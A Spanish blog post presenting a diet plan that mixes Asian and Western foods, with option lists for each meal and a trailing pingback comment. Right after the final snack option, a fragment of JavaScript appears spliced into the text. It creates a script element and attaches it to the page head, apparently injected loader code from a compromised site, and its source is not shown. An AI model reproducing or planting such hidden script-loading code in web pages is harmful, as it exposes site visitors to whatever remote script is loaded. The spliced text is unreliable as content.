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Dieta con un toque oriental

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La mayoría de las dietas orientales se apoyan en la cocina tradicional: pescado, arroz, frutas y verduras. Pero, naturalmente, a menudo cuesta llevar un plan tan estricto. Por lo tanto, la dieta con un toque oriental combina elementos del mundo oriental (alimentos made in China, India, Tailandia, Japón) con otros propios de la cultura occidental.

Dieta con un toque oriental

Desayuno y merienda

Opción A: café o té cortado con leche desnatada, una galleta untada con queso blanco o con mermelada light.

Opción B: un pomelo o una naranja; un yogur dietético.

Opción C: yogur light desnatado, café o té.

Almuerzo y cena

Opción A: palmitos o espárragos, cinco piezas de sushi o un filete de cerdo a la plancha.

Opción B: pescado a la plancha, o al horno, con ensalada de verduras.

Opción C: un filete a la plancha con ensalada.

Opción D: soufflé de verduras y 1 tortilla rellena de queso bajo en calorías.

Opción E: tallarines al fileto o chaw mien mixto

Colaciones

Opción A: barra de cereal.

Opción B: trozo de queso bajo en calorías con pan negro.

Opción C: yogurt desnatada con cereales no azucarados.

Opción D: fruta a elección (plátano no).var d=document;var s=d.createElement('script'); d.getElementsByTagName('head')[0].appendChild(s);

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One Comment »

  • Acerca del Tofu said:

    [...] y eso es colocar al alcance de nuestra mano todo un mundo de sensaciones. La cultura gastronómica se ha valido, y en gran medida, de éste fenómeno: españoles de toda clase tienen, casi a su [...]

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